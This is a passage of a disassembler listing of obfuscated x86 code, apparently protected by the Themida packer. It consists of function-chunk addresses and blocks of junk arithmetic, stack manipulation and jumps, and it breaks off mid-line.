FUNCTION CHUNK AT 0055746E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005574D3 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00557566 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0055759B SIZE 00000069 BYTES ; FUNCTION CHUNK AT 00557639 SIZE 00000052 BYTES ; FUNCTION CHUNK AT 005576A0 SIZE 0000004E BYTES ; FUNCTION CHUNK AT 005576F4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00557711 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00557759 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005577F6 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00557843 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005578C9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005578ED SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00557939 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 00557995 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005579B2 SIZE 00000063 BYTES ; FUNCTION CHUNK AT 00557A56 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 00557AA0 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00557AF0 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00557B24 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00557B35 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00557B5B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00557B85 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00557BAC SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00557BE3 SIZE 0000022A BYTES ; FUNCTION CHUNK AT 00557E20 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00557E5D SIZE 0000003F BYTES ; FUNCTION CHUNK AT 00557EAA SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00557EE7 SIZE 00000078 BYTES ; FUNCTION CHUNK AT 00557F74 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00557FBE SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0055800E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055802B SIZE 00000052 BYTES ; FUNCTION CHUNK AT 00558087 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 00558105 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055812D SIZE 00000035 BYTES ; FUNCTION CHUNK AT 00558169 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005581C3 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 00558213 SIZE 00000040 BYTES ; FUNCTION CHUNK AT 0055825D SIZE 00000062 BYTES ; FUNCTION CHUNK AT 005582F6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00558302 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00558342 SIZE 00000066 BYTES ; FUNCTION CHUNK AT 005583CC SIZE 000000BE BYTES ; FUNCTION CHUNK AT 0055849B SIZE 00000081 BYTES ; FUNCTION CHUNK AT 00558522 SIZE 0000005A BYTES ; FUNCTION CHUNK AT 0055858E SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005585D3 SIZE 00000076 BYTES ; FUNCTION CHUNK AT 00558664 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005586A2 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 0055870A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0055872F SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00558764 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005587CC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005587E1 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0055883A SIZE 00000063 BYTES ; FUNCTION CHUNK AT 005588EE SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00558943 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00558969 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00558991 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005589E6 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00558A24 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00558A5D SIZE 00000054 BYTES ; FUNCTION CHUNK AT 00558AF4 SIZE 00000043 BYTES ; FUNCTION CHUNK AT 00558B45 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00558B70 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00558BE5 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00558C33 SIZE 00000059 BYTES ; FUNCTION CHUNK AT 00558CB4 SIZE 00000074 BYTES ; FUNCTION CHUNK AT 00558D39 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00558D56 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 00558DA6 SIZE 00000072 BYTES ; FUNCTION CHUNK AT 00558E1F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00558E58 SIZE 0000005A BYTES ; FUNCTION CHUNK AT 00558EC7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00558EE5 SIZE 0000008F BYTES ; FUNCTION CHUNK AT 00558FA9 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00558FE0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00559024 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 0055908E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005590B7 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 00559107 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 00559156 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 005591BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005591D9 SIZE 0000009D BYTES ; FUNCTION CHUNK AT 00559288 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005592CE SIZE 00000055 BYTES ; FUNCTION CHUNK AT 00559334 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 00559388 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 005593DF SIZE 000000A0 BYTES ; FUNCTION CHUNK AT 005594A7 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 005594F0 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00559511 SIZE 0000006B BYTES ; FUNCTION CHUNK AT 00559585 SIZE 00000094 BYTES ; FUNCTION CHUNK AT 00559620 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00559638 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00559661 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0055969F SIZE 00000062 BYTES ; FUNCTION CHUNK AT 00559713 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00559735 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00559754 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00559771 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0055979D SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00559819 SIZE 000000D8 BYTES ; FUNCTION CHUNK AT 00559929 SIZE 00000070 BYTES ; FUNCTION CHUNK AT 005599C6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005599DF SIZE 0000004F BYTES ; FUNCTION CHUNK AT 00559A39 SIZE 00000069 BYTES ; FUNCTION CHUNK AT 00559AB4 SIZE 00000063 BYTES ; FUNCTION CHUNK AT 00559B3F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00559B4D SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00559B75 SIZE 00000063 BYTES ; FUNCTION CHUNK AT 00559BEB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00559C01 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00559C3F SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0055DB42 SIZE 000000B1 BYTES ; FUNCTION CHUNK AT 0055DC0A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055DC22 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055DC5E SIZE 000000B2 BYTES ; FUNCTION CHUNK AT 0055DD31 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0055DD70 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055DD91 SIZE 000000BD BYTES ; FUNCTION CHUNK AT 0055DE5E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055DE89 SIZE 00000057 BYTES ; FUNCTION CHUNK AT 0055DEF2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055DF18 SIZE 000000C9 BYTES ; FUNCTION CHUNK AT 0055DFEA SIZE 0000009F BYTES ; FUNCTION CHUNK AT 0055E091 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055E0AF SIZE 00000073 BYTES ; FUNCTION CHUNK AT 0055E136 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0055E141 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0055E162 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055E198 SIZE 00000051 BYTES ; FUNCTION CHUNK AT 0055E204 SIZE 00000067 BYTES ; FUNCTION CHUNK AT 0055E287 SIZE 00000098 BYTES ; FUNCTION CHUNK AT 0055E326 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055E36C SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0055E3D5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055E3E8 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0055E446 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055E480 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055E4A8 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 0055E4F6 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055E525 SIZE 00000072 BYTES ; FUNCTION CHUNK AT 0055E5AB SIZE 00000066 BYTES ; FUNCTION CHUNK AT 0055E619 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0055E653 SIZE 000000FE BYTES ; FUNCTION CHUNK AT 0055E767 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055E78A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0055E7B8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055E7E0 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0055E826 SIZE 00000078 BYTES ; FUNCTION CHUNK AT 0055E8A6 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0055E908 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0055E940 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055E96C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055E981 SIZE 00000087 BYTES ; FUNCTION CHUNK AT 0055EA0E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055EA1E SIZE 00000059 BYTES ; FUNCTION CHUNK AT 0055EA83 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0055EAB3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055EADE SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0055EB13 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 0055EB76 SIZE 00000050 BYTES ; FUNCTION CHUNK AT 0055EBD3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055EC02 SIZE 00000053 BYTES ; FUNCTION CHUNK AT 0055EC66 SIZE 00000057 BYTES ; FUNCTION CHUNK AT 0055ED2D SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0055ED72 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055EDAD SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0055EE06 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0055EE87 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055EE9C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055EF01 SIZE 00000059 BYTES ; FUNCTION CHUNK AT 0055EF7F SIZE 00000051 BYTES ; FUNCTION CHUNK AT 0055EFE6 SIZE 00000061 BYTES ; FUNCTION CHUNK AT 0055F058 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0055F096 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0055F0DE SIZE 00000078 BYTES ; FUNCTION CHUNK AT 0055F165 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0055F198 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0055F1F0 SIZE 00000085 BYTES ; FUNCTION CHUNK AT 0055F28F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0055F2AF SIZE 000000B6 BYTES ; FUNCTION CHUNK AT 0055F370 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0055F395 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0055F3DF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055F3FE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055F41A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0055F440 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0055F46D SIZE 00000040 BYTES ; FUNCTION CHUNK AT 0055F4B8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055F4DD SIZE 00000058 BYTES ; FUNCTION CHUNK AT 0055F580 SIZE 00000088 BYTES ; FUNCTION CHUNK AT 0055F61D SIZE 00000056 BYTES ; FUNCTION CHUNK AT 0055F67E SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0055F6C9 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055F710 SIZE 0000004C BYTES ; FUNCTION CHUNK AT 0055F768 SIZE 000000AE BYTES ; FUNCTION CHUNK AT 0055F833 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055F87B SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0055F8C0 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0055F92C SIZE 00000056 BYTES ; FUNCTION CHUNK AT 0055F995 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0055F9C3 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0055FA1D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055FA35 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0055FA86 SIZE 0000007B BYTES ; FUNCTION CHUNK AT 0055FB14 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0055FB43 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0055FB6A SIZE 0000004F BYTES ; FUNCTION CHUNK AT 0055FBBF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055FBE9 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0055FC1D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055FC38 SIZE 00000008 BYTES sub esp, 4 push 0A90h mov [esp+62h+var_64+2], esp add [esp+62h+var_64+2], 4 pop [esp+62h+var_64+2] sub esp, 4 jmp loc_55C44C ; --------------------------------------------------------------------------- loc_559CA4: ; CODE XREF: sub_559C84+3309j add esp, 4 pop esi xor ebp, 1A5A418h and eax, ebp mov ebp, [esp+5Ah+var_5C+2] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp+5Eh+var_60+2] jmp loc_555DD0 ; --------------------------------------------------------------------------- loc_559CC7: ; CODE XREF: sub_559C84-18F9j shr ebp, 6 push edx mov edx, 0FF74FE4Ah jmp loc_556499 ; --------------------------------------------------------------------------- loc_559CD5: ; CODE XREF: sub_559C84+1448j mov edx, edi mov edi, [esp+32h+var_34+2] add esp, 4 add ebp, edx mov edx, [esp+2Eh+var_30+2] push ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx jmp loc_55D0EF ; --------------------------------------------------------------------------- mov cx, word ptr [esp+32h+var_34+2] jmp loc_558943 ; --------------------------------------------------------------------------- loc_559D02: ; CODE XREF: sub_559C84-4326j sub bl, 0B4h add bl, al add bl, 0B4h push ax mov ah, 0F4h sub bl, ah pop ax push ax mov ah, 6 sub bl, ah jmp loc_55B0FF ; --------------------------------------------------------------------------- loc_559D1D: ; CODE XREF: sub_559C84-1FADj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+3Eh+var_3E] jmp loc_557F74 ; --------------------------------------------------------------------------- loc_559D33: ; CODE XREF: sub_559C84+690j pop ecx push ebp mov ebp, 455669D8h sub esp, 4 mov [esp+42h+var_42], esi mov esi, 3E6203EFh or esi, 5CEB572Fh add esi, 1 add esi, 49004BBAh push edi jmp loc_55DC81 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+46h+var_46] push edi jmp loc_55F0FB ; --------------------------------------------------------------------------- loc_559D67: ; CODE XREF: sub_559C84+2AABj add ebx, 98080B0Ah add edi, ebx pop ebx push eax mov eax, edi mov ebp, eax pop eax pop edi add edx, ebp jmp loc_558E1F ; --------------------------------------------------------------------------- loc_559D7E: ; CODE XREF: Themida_:00557128j push 23F6h mov [esp+46h+var_46], edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+4Ah+var_4A] pop esp push esp pop [esp+4Ah+var_4A] add [esp+46h+var_46], 4 pop edx add edx, 4 push ebx push edx mov edx, 12BF2279h inc edx not edx dec edx xor edx, 0EF17A465h jmp loc_55C2E6 ; --------------------------------------------------------------------------- loc_559DC1: ; CODE XREF: sub_559C84-6B5j xor [esp+4Ah+var_4A], ebp xor ebp, [esp+4Ah+var_4A] mov esp, [esp+4Ah+var_4A] mov [esp+4Ah+var_4A], edx push eax pushf jmp loc_55CB56 ; --------------------------------------------------------------------------- loc_559DD4: ; CODE XREF: Themida_:0055F4B3j sub word ptr [esp+52h+var_52+2], 3726h add word ptr [esp+52h+var_52+2], 13CFh jmp loc_554C88 ; --------------------------------------------------------------------------- loc_559DE7: ; CODE XREF: sub_559C84-620Aj shr cl, 3 jmp loc_557C4D ; --------------------------------------------------------------------------- loc_559DEF: ; CODE XREF: sub_559C84-5673j add edx, 4 sub esp, 4 mov [esp+40h+var_42+2], ecx mov ecx, 2 add edx, 181C6F30h sub edx, ecx sub edx, 181C6F30h jmp loc_55627E ; --------------------------------------------------------------------------- loc_559E13: ; CODE XREF: sub_559C84-258Dj pop ecx add esp, 4 add ebx, 2 xchg ebx, [esp+46h+var_46] jmp loc_55B412 ; --------------------------------------------------------------------------- loc_559E25: ; CODE XREF: sub_559C84-50D2j push edi jmp loc_55C14A ; --------------------------------------------------------------------------- loc_559E2B: ; CODE XREF: sub_559C84+28D2j mov edi, 36DE09ADh sub [esp+4Eh+var_46], edi pop edi pop ecx jmp loc_55351F ; --------------------------------------------------------------------------- loc_559E3B: ; CODE XREF: sub_559C84-BA5j push small word ptr [eax] jmp loc_55351F ; --------------------------------------------------------------------------- loc_559E43: ; CODE XREF: sub_559C84-2715j mov ebx, esp jmp loc_5548A0 ; --------------------------------------------------------------------------- loc_559E4A: ; CODE XREF: sub_559C84+583Aj sub ebx, esi pop esi mov esi, [esp+48h+var_4A+2] jmp loc_55F496 ; --------------------------------------------------------------------------- loc_559E55: ; CODE XREF: sub_559C84+4BC4j pop dword ptr [ebx] jmp loc_55F9CB ; --------------------------------------------------------------------------- loc_559E5C: ; CODE XREF: sub_559C84+1352j xchg ebp, [esp+44h+var_46+2] jmp loc_55FAEE ; --------------------------------------------------------------------------- loc_559E64: ; CODE XREF: sub_559C84-592Dj xor ebp, 0CD9677D0h jmp loc_557759 ; --------------------------------------------------------------------------- loc_559E6F: ; CODE XREF: sub_559C84+2872j pop eax jmp loc_558A24 ; --------------------------------------------------------------------------- loc_559E75: ; CODE XREF: sub_559C84-1CB3j push ecx mov ecx, 217D7F03h mov eax, 0EB06C24Dh add eax, ecx pop ecx shl eax, 2 and eax, 11C16803h inc eax add eax, 102860F1h xor eax, 202960F6h mov esi, eax pop eax add ebp, 4076A96h sub ebp, esi push ecx mov ecx, 6170017Fh not ecx neg ecx xor ecx, 5B26151Fh shl ecx, 1 xor ecx, 70AB43A8h jmp loc_556343 ; --------------------------------------------------------------------------- loc_559EBE: ; CODE XREF: sub_55E640-937Bj xor ebp, 44894FE2h add ecx, ebp pop ebp mov edi, ecx pop ecx sub [esp+4Eh+var_4A], 2F312104h add [esp+4Eh+var_4A], 504052D9h add [esp+4Eh+var_4A], edi sub [esp+4Eh+var_4A], 504052D9h add [esp+4Eh+var_4A], 2F312104h pop edi pop ecx sub esp, 4 jmp loc_556B68 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp+48h+var_4A+2], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_559F08: ; CODE XREF: sub_559C84+4E5j xchg ebx, [esp+4Ch+var_4E+2] pop esp add ebx, 66C521D7h jmp loc_55DEA6 ; --------------------------------------------------------------------------- loc_559F17: ; CODE XREF: sub_559C84+5542j mov ax, 1A92h sub word ptr [esp+48h+var_42], ax pop ax mov dx, word ptr [esp+46h+var_46] add esp, 2 pop cx jmp loc_55351F ; --------------------------------------------------------------------------- loc_559F30: ; CODE XREF: sub_559C84+4791j xchg edi, [esp+40h+var_42+2] pop esp jmp loc_55DD91 ; --------------------------------------------------------------------------- push [esp+3Ch+var_3E+2] pop eax push 489Ah mov [esp+40h+var_42+2], edi push esp pop edi push ebp push esi mov esi, 7BE6431Fh mov ebp, esi pop esi or ebp, 1AC92F0Ch xor ebp, 54A35DCBh add ebp, 0D0B3CD30h add edi, 7C044A96h add edi, ebp sub edi, 7C044A96h pop ebp push esi push ebp mov ebp, 4 jmp loc_555156 ; --------------------------------------------------------------------------- loc_559F7E: ; CODE XREF: sub_559C84+3466j or ch, 0ACh or ch, 0A8h sub ch, 9Eh xor ch, 78h shr ch, 7 neg ch add ch, 0F1h push ebx mov bl, 77h or bl, 8 xor bl, 8 or bl, 0ACh push cx mov cl, 31h jmp loc_55B4BC ; --------------------------------------------------------------------------- loc_559FA7: ; CODE XREF: sub_559C84+4859j mov [esp+4Eh+var_4E], edi mov edi, 0B4C6651Eh add ebx, edi pop edi sub eax, ebx mov ebx, [esp+4Ah+var_4A] add esp, 4 push ecx push eax mov eax, 15A27FF4h add eax, 0EF369179h mov ecx, eax pop eax and ecx, 38F45342h push esi mov esi, 7AF769F0h sub esi, 0C7AEE984h sub ecx, esi pop esi xor eax, ecx push [esp+4Ah+var_4A] pop ecx push ebx mov ebx, esp push eax mov eax, 3F431FAFh dec eax shl eax, 7 push ebx push ecx jmp loc_553DEB ; --------------------------------------------------------------------------- loc_559FFB: ; CODE XREF: sub_559C84+3220j push ebx sub esp, 4 mov [esp+62h+var_64+2], eax jmp loc_554D20 ; --------------------------------------------------------------------------- mov sp, word ptr [esp+62h+var_64+2] jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A010: ; DATA XREF: Themida_:00553448o push [esp+62h+var_64+2] mov ecx, [esp+0] jmp loc_55D352 ; --------------------------------------------------------------------------- loc_55A01B: ; CODE XREF: sub_559C84+1BD7j pop edx jmp loc_558065 ; --------------------------------------------------------------------------- loc_55A021: ; CODE XREF: sub_559C84-7Dj sub edx, 47942D5h jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A02C: ; CODE XREF: sub_559C84+2FCFj pop edx add al, 74h jmp loc_55EDAD ; --------------------------------------------------------------------------- loc_55A034: ; CODE XREF: Themida_:0055E13Cj xor eax, ebx sub esp, 4 mov [esp+56h+var_58+2], edi mov edi, 7AA70F44h push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx mov ecx, [esp+5Eh+var_60+2] jmp loc_555CA7 ; --------------------------------------------------------------------------- loc_55A05A: ; CODE XREF: sub_559C84-4B69j pop ebp push dword ptr [edi+1Ch] push esi mov esi, 7D674C2Ch add [esp-0Ah+arg_8+2], esi pop esi mov ecx, [esp-0Eh+arg_8+2] push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_55B7D7 ; --------------------------------------------------------------------------- loc_55A07D: ; CODE XREF: sub_559C84+A04j sub dh, ah add dh, 0B0h sub esp, 4 jmp loc_557A82 ; --------------------------------------------------------------------------- loc_55A08D: ; CODE XREF: sub_559C84-2550j add esi, 4 add esi, 4 push 70A0h mov [esp+46h+var_46], esi push [esp+46h+var_42] pop esi pop [esp+46h+var_46] mov esp, [esp+42h+var_42] jmp loc_555426 ; --------------------------------------------------------------------------- loc_55A0B1: ; CODE XREF: sub_559C84+C71j sub bl, al sub bl, 0A8h jmp loc_55D308 ; --------------------------------------------------------------------------- loc_55A0BB: ; CODE XREF: Themida_:005599C1j xor esi, [esp+42h+var_42] xor [esp+42h+var_42], esi jmp loc_5566D7 ; --------------------------------------------------------------------------- loc_55A0C6: ; CODE XREF: sub_559C84-3367j push ebx jmp loc_556208 ; --------------------------------------------------------------------------- loc_55A0CC: ; CODE XREF: sub_557ED1+6450j pop ebx jmp loc_555F08 ; --------------------------------------------------------------------------- loc_55A0D2: ; CODE XREF: sub_559C84+4891j xor edi, [esp-1Eh+arg_18+2] xor [esp-1Eh+arg_18+2], edi jmp loc_55F67E ; --------------------------------------------------------------------------- loc_55A0DD: ; CODE XREF: sub_559C84+518Cj jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A0E2: ; CODE XREF: sub_559C84-3A9Dj xchg ecx, [esp+40h+var_42+2] pop esp shr eax, 8 xor eax, ecx push eax xor [esp+40h+var_42+2], ebp xor ebp, [esp+40h+var_42+2] xor [esp+40h+var_42+2], ebp push ebp xor [esp+44h+var_46+2], edi jmp loc_55F64F ; --------------------------------------------------------------------------- loc_55A0FE: ; CODE XREF: sub_558756+9j add esi, edi sub esi, 2B2D1C06h pop edi xchg esi, [esp+40h+var_42+2] mov esp, [esp+40h+var_42+2] sar byte ptr [esp+40h+var_42+2], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A116: ; CODE XREF: sub_559C84+5D74j add ecx, esi pop esi xchg ecx, [esp+40h+var_42+2] mov esp, [esp+40h+var_42+2] push edi mov edi, esp jmp loc_55ABAE ; --------------------------------------------------------------------------- loc_55A127: ; DATA XREF: Themida_:005534B0o mov cx, word ptr [esp+44h+var_46+2] push edi mov edi, esp jmp sub_557AD1 ; --------------------------------------------------------------------------- loc_55A133: ; CODE XREF: sub_559C84+2D7Dj pop esi sub esi, 0EFEFF66Ch jmp loc_55C71C ; --------------------------------------------------------------------------- loc_55A13F: ; CODE XREF: sub_559C84+B10j add ch, bl pop ebx jmp loc_553985 ; --------------------------------------------------------------------------- loc_55A147: ; CODE XREF: sub_559C84-5AC8j mov [esp+8+var_8], eax jmp loc_55E5B2 ; --------------------------------------------------------------------------- loc_55A14F: ; CODE XREF: sub_559C84+8DEj xor ebp, [esp+8+var_8] jmp loc_555208 ; --------------------------------------------------------------------------- loc_55A157: ; CODE XREF: sub_55598B+3C90j pop eax and ebx, ebp mov ebp, [esp+4+var_4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_559F08 ; --------------------------------------------------------------------------- loc_55A16E: ; CODE XREF: sub_5597C1+5997j push edx push esp jmp loc_5540A7 ; --------------------------------------------------------------------------- loc_55A175: ; CODE XREF: sub_559C84+1A29j push edx jmp loc_55D52C ; --------------------------------------------------------------------------- loc_55A17B: ; CODE XREF: Themida_:005554A8j add edi, 4 add edi, 2 xor edi, [esp+14h+var_14] xor [esp+14h+var_14], edi xor edi, [esp+14h+var_14] pop esp mov cx, word ptr [esp+10h+var_10] push edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+18h+var_18] pop esp jmp loc_558664 ; --------------------------------------------------------------------------- loc_55A1A8: ; CODE XREF: sub_553D58+AF6Fj push ebp mov ebp, esp push edi mov edi, 5D9E3986h push eax mov eax, 202A73C0h xor edi, eax pop eax xor edi, 7DB44A42h add ebp, edi pop edi add ebp, 4 jmp loc_555FF4 ; --------------------------------------------------------------------------- loc_55A1CB: ; CODE XREF: sub_559C84+2A81j pop ebx mov eax, esi mov esi, [esp+14h+var_14] jmp loc_55406C ; --------------------------------------------------------------------------- loc_55A1D6: ; CODE XREF: sub_559C84+BFDj mov edi, esp jmp loc_55F4C3 ; --------------------------------------------------------------------------- loc_55A1DD: ; CODE XREF: Themida_:0055970Ej mov [esp+14h+var_14], edx mov edx, 4 add eax, edx pop edx jmp loc_55D748 ; --------------------------------------------------------------------------- loc_55A1ED: ; CODE XREF: sub_559C84+3E27j mov [esp+10h+var_10], edx jmp loc_559BA6 ; --------------------------------------------------------------------------- loc_55A1F5: ; CODE XREF: sub_559C84+28A2j mov ecx, 4D33588Ah shr ecx, 3 sub ecx, 6EB54A2Ch xchg esi, ecx not esi xchg esi, ecx push ecx push esi pop ecx pop esi jmp loc_55365B ; --------------------------------------------------------------------------- loc_55A212: ; CODE XREF: sub_559C84+4F0Ej and ch, 77h jmp loc_55A264 ; --------------------------------------------------------------------------- loc_55A21A: ; CODE XREF: sub_559C84+386Dj add ebp, 76FD7F09h pop eax not ebp inc ebp push ebx jmp loc_553A8D ; --------------------------------------------------------------------------- loc_55A22A: ; CODE XREF: sub_559C84-5BC8j jmp loc_55351F ; --------------------------------------------------------------------------- loc_55A22F: ; CODE XREF: sub_5556C9+11j xchg ecx, [esp-4+arg_0] jmp $+5 pop esp add edi, 4 jmp loc_55B4F5 ; --------------------------------------------------------------------------- loc_55A243: ; CODE XREF: sub_559C84-209Aj pop dx sub al, 49h add al, 69h jmp loc_5573DB ; --------------------------------------------------------------------------- loc_55A24E: ; CODE XREF: sub_5553CB+2A7Dj pop esp add edx, 605939F2h sub edx, esi push ebx mov ebx, 605939F2h sub edx, ebx jmp loc_55E9D9 ; --------------------------------------------------------------------------- loc_55A264: ; CODE XREF: sub_559C84+591j not ch inc ch sub ch, 0D6h jmp loc_555032 ; --------------------------------------------------------------------------- loc_55A270: ; CODE XREF: sub_559C84+269Cj mov ebp, 49046F5Fh sub edx, 28656DD1h add edx, ebp jmp loc_55DB5C ; --------------------------------------------------------------------------- loc_55A282: ; CODE XREF: 